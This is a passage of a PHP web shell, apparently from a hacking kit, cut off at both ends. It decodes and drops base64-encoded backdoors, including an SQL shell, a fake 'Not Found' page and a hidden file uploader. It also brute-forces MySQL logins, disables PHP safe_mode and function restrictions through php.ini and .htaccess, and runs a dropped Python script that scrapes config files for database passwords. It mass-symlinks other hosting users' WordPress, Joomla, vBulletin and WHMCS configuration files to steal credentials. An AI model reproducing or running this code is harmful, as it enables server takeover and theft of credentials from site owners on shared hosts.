2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'bye!';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "X'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
